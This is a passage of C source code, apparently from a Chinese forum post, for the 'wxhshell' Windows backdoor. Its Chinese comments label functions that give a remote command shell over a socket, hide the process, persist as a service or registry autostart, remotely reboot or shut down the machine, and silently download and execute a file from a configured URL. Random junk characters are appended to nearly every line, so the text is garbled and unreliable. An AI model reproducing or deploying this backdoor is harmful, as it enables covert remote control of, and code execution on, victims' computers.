  R\-]$\1D  
  // 帮助 *-S?bv,T'  
  case '?': { TkVqv v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $}fY B/  
    break; mNsd&Rk'  
  } uDLj*U6L  
  // 安装 T uC  
  case 'i': { '>HLE)l  
    if(Install())  ijDXh y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }qR6=J+Dx  
    else #|T2`uYotf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0lOR.}]q  
    break; W\<HUd  
    } bq9/ d4  
  // 卸载 )iJv?Y\]  
  case 'r': { xz~Y %Y|Z  
    if(Uninstall()) av_ +M;G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@bSkO<Y  
    else _T_} k:&X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ght3#  
    break; y8Rq2jI;(e  
    } ]0g p.R  
  // 显示 wxhshell 所在路径 h"[:$~/UJ  
  case 'p': { R:rols"QM  
    char svExeFile[MAX_PATH]; @<&u;8y-Cn  
    strcpy(svExeFile,"\n\r"); o$Y#C{wC%  
      strcat(svExeFile,ExeFile); ErgWsAw-  
        send(wsh,svExeFile,strlen(svExeFile),0); sLWVgD  
    break; HA[7)T N1E  
    } < FY%QB)h  
  // 重启 [,{Nu EI  
  case 'b': { ";/ogFi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )i_:[ l6  
    if(Boot(REBOOT)) D G|v' #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >s )L(DHa"  
    else { 5hh6;)  
    closesocket(wsh); x[u6_6=q9  
    ExitThread(0); qj4jM7  
    } w"W;PdH)  
    break; x&r f]R  
    } d%RH]j4  
  // 关机 9aX!<Z  
  case 'd': { #$]8WSl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ou{V/?rb  
    if(Boot(SHUTDOWN)) :, 3S5!(y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :^-\KE` 3  
    else { <\ eRa{ef  
    closesocket(wsh); `xZ,*G7(*  
    ExitThread(0); |9p0"#4u  
    } C Sz+cS  
    break; FlUO3rc|  
    } m/;fY>}3  
  // 获取shell *aq"c9  
  case 's': { y.s\MWvv>u  
    CmdShell(wsh); ] g8z@r"b  
    closesocket(wsh); X\>/'fC$  
    ExitThread(0); qz.l  
    break; U$S{j&?  
  } }0f~hL24  
  // 退出 GDb V y)&  
  case 'x': { 6G}4KGQc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 73nM9  
    CloseIt(wsh); `sg W0Uf  
    break; QjD=JC+  
    } 6!N2B[9  
  // 离开 sXNb  
  case 'q': { +1@'2w{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  z:   
    closesocket(wsh); OJhMM-  
    WSACleanup();  ;]bW  
    exit(1); BR_fOIDc  
    break; m&z(2yb1  
        } %$'fq*8b  
  } U9*< dR  
  } V F b  
r'lANl-v  
  // 提示信息 EWY'E;0@5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~|N,{GaL  
} X?;iSekI4  
  } (_6JQn  
j(}pUV B  
  return; Z9*@w`x^u  
} #?,"/Btq  
ggm'9|  
// shell模块句柄 g_A#WQyh\'  
int CmdShell(SOCKET sock) bUds E 1f  
{ TP~1-(M)}  
STARTUPINFO si; h%NM%;"H/  
ZeroMemory(&si,sizeof(si)); Qpj[]c5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nJ/}b/A{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YW&`PJ9o  
PROCESS_INFORMATION ProcessInfo; <M}O&?N 8x  
char cmdline[]="cmd"; 2?v }w<Ydl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t* p%!xsH  
  return 0; #K/JU{"  
} & JJ*?Dl  
N R 4\TU  
// 自身启动模式 -t>"s'kv  
int StartFromService(void) OVc)PMp  
{ ,V^$Meh  
typedef struct Bu+?N%CBi  
{ F6b;qb6n  
  DWORD ExitStatus; %Pj}  
  DWORD PebBaseAddress; {`T^&b k  
  DWORD AffinityMask; @`8a 3sL)  
  DWORD BasePriority; B#35)QI  
  ULONG UniqueProcessId; jA[")RVG  
  ULONG InheritedFromUniqueProcessId; uPxjW"M+  
}   PROCESS_BASIC_INFORMATION; <"xqt7f  
G;/l[mvh,  
PROCNTQSIP NtQueryInformationProcess; mEkYT  
rk@qcQR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {^^LeUd#V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kHhku!CH  
A wk1d  
  HANDLE             hProcess; C5$?Y8B3  
  PROCESS_BASIC_INFORMATION pbi; o;#8=q  
q">}3`k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R*XZPzg%  
  if(NULL == hInst ) return 0; 79-5 0}A  
=6i+K.}e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C*B5"s"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qDhZC*"9#D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >l/pwb@  
(I'{ pF)  
  if (!NtQueryInformationProcess) return 0; V0&7MY*  
Kv<mDA!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H@~tJ\L  
  if(!hProcess) return 0; ! hEZV&y  
`Mcg&Mi~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Kb&BF|Q  
&-JIXVd*R  
  CloseHandle(hProcess); QD%6K=8Q  
o@]n<ZYo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wg,@S*x(  
if(hProcess==NULL) return 0; 8 Gy*BpmJn  
VM\\.L  
HMODULE hMod; SW+;%+`  
char procName[255]; a|#pl!  
unsigned long cbNeeded; DIWyv-  
B,%KvL&xMX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ b66 ;  
7!FiPH~kM  
  CloseHandle(hProcess); 1/qD5 *`Y  
=MD)F  
if(strstr(procName,"services")) return 1; // 以服务启动 6Yt3Oq<U  
,# .12Q!  
  return 0; // 注册表启动 gTB|IcOs  
} QtW e,+WWV  
$=^}J 6  
// 主模块 .h4Z\R`  
int StartWxhshell(LPSTR lpCmdLine) @T>^ >  
{ S1'?"zAmd  
  SOCKET wsl; Yl$ @/xAa  
BOOL val=TRUE; )FIFf;r  
  int port=0; QR8]d1+GV  
  struct sockaddr_in door; 2Dvq3VbiO"  
Us2> 5 :\  
  if(wscfg.ws_autoins) Install(); 0/fZDQH  
f;l}Z|dok6  
port=atoi(lpCmdLine); ) .' + {  
B> \q!dX3  
if(port<=0) port=wscfg.ws_port; ^gpd '*b  
]~f-8!$$R  
  WSADATA data; _ D8 zKp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "[7'i<,AI  
2bw.mp&v1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2e3AmR@*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b'R]DS{8  
  door.sin_family = AF_INET; BePb8 k<y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 48G^$T{  
  door.sin_port = htons(port); Q^l!cL| {  
]6|?H6'/`v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6U%d3"T  
closesocket(wsl); p<l+js(5|  
return 1; -y?ve od#  
} $-!7<a-  
9:Bn-3)  
  if(listen(wsl,2) == INVALID_SOCKET) { xt`a":lru  
closesocket(wsl); Y(EF )::  
return 1; ^( 7l!  
} Lk^bzW>f  
  Wxhshell(wsl); <4/q5*&  
  WSACleanup(); wnLpf  
fLSDt(c',  
return 0; ZGCp[2$  
/6\uBy"Xt  
} Bqk+ne  
!A|}_K1Cr  
// 以NT服务方式启动 78?{;iNv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F4Cq85#  
{ 9O^~l2`  
DWORD   status = 0; 4U'sBaY!K  
  DWORD   specificError = 0xfffffff; 4ISIg\:c*  
~HtD]|7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Cgf4E{\U!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HoWK# Nz\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "EWq{l_I5$  
  serviceStatus.dwWin32ExitCode     = 0; .uN(44^+x  
  serviceStatus.dwServiceSpecificExitCode = 0; b0se-#+  
  serviceStatus.dwCheckPoint       = 0; wp4  .~E  
  serviceStatus.dwWaitHint       = 0; Bw[IW[(~!  
_ph1( !H$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gs04)KJm<  
  if (hServiceStatusHandle==0) return; k<N5*k8M  
|B^Picu  
status = GetLastError(); ?\X9Ei  
  if (status!=NO_ERROR) mOLz(0  
{ ^EmePkPI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lo}/k}3Sx  
    serviceStatus.dwCheckPoint       = 0; vn@sPT  
    serviceStatus.dwWaitHint       = 0; ~= otdJ  
    serviceStatus.dwWin32ExitCode     = status; ,eqRI>,\  
    serviceStatus.dwServiceSpecificExitCode = specificError; X2Q35.AB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{l4O1k/c  
    return; Wm)Id_  
  } t [G7&ovj  
:)+)L@By  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RyWfoLc  
  serviceStatus.dwCheckPoint       = 0; iI*qx+>f?  
  serviceStatus.dwWaitHint       = 0; !rG-[7K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _C'VC#Sy  
} zMO xJ   
Ch~y;C&e+r  
// 处理NT服务事件,比如:启动、停止 Yb:F,d-Ya  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jt?`(H  
{ h]VC<BD6S  
switch(fdwControl) $)=`Iai  
{ *WWDwY@!u  
case SERVICE_CONTROL_STOP: m?;/H  
  serviceStatus.dwWin32ExitCode = 0;  (8 /&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zYftgH_o  
  serviceStatus.dwCheckPoint   = 0; %PK(Z*>  
  serviceStatus.dwWaitHint     = 0; vsYbR3O  
  { P(L iH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .9<euPrz  
  } 9h6siK(F  
  return; Emk:@$3{r  
case SERVICE_CONTROL_PAUSE: K_qA[n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G12o?N0p  
  break; )cm^;(#pV  
case SERVICE_CONTROL_CONTINUE: @?t+O'&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Go[anf  
  break; (!Fu5m=<8  
case SERVICE_CONTROL_INTERROGATE: 8N4E~*>C  
  break; w3ZO CWJS  
}; iU# "G" &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1h{7dLA  
} i> {0h3Y  
e :@PI(P!  
// 标准应用程序主函数 +9# qNkP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5tY/d=\k  
{ RiIafiaD  
Xl>ZnI];  
// 获取操作系统版本 q$}gQ9'z'  
OsIsNt=GetOsVer(); lKS 2OOYC`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >.hDt9@4  
C!Fi &~  
  // 从命令行安装 !d95gq<=>  
  if(strpbrk(lpCmdLine,"iI")) Install(); q 'uGB fE.  
t&_X{!1X"w  
  // 下载执行文件 /9?yw!  
if(wscfg.ws_downexe) { TT&%[A+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9aKO||i,  
  WinExec(wscfg.ws_filenam,SW_HIDE); GX*9R>  
} &@D\4b,?nm  
7{NH;U t  
if(!OsIsNt) { o ethO  
// 如果时win9x,隐藏进程并且设置为注册表启动 !y$+RA7\  
HideProc(); #E_<}o  
StartWxhshell(lpCmdLine); D@c@Dt  
} KNOVb=# f_  
else ,z> w^_  
  if(StartFromService()) cV4Y= &  
  // 以服务方式启动 ao@CPB6N  
  StartServiceCtrlDispatcher(DispatchTable); &{ZUY3  
else `A8ErfA  
  // 普通方式启动 @\a~5CLN  
  StartWxhshell(lpCmdLine); ciFqj3JS  
*0<)PJ T  
return 0; SU jo%3R  
}
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只看该作者 1 发表于: 2006-10-10
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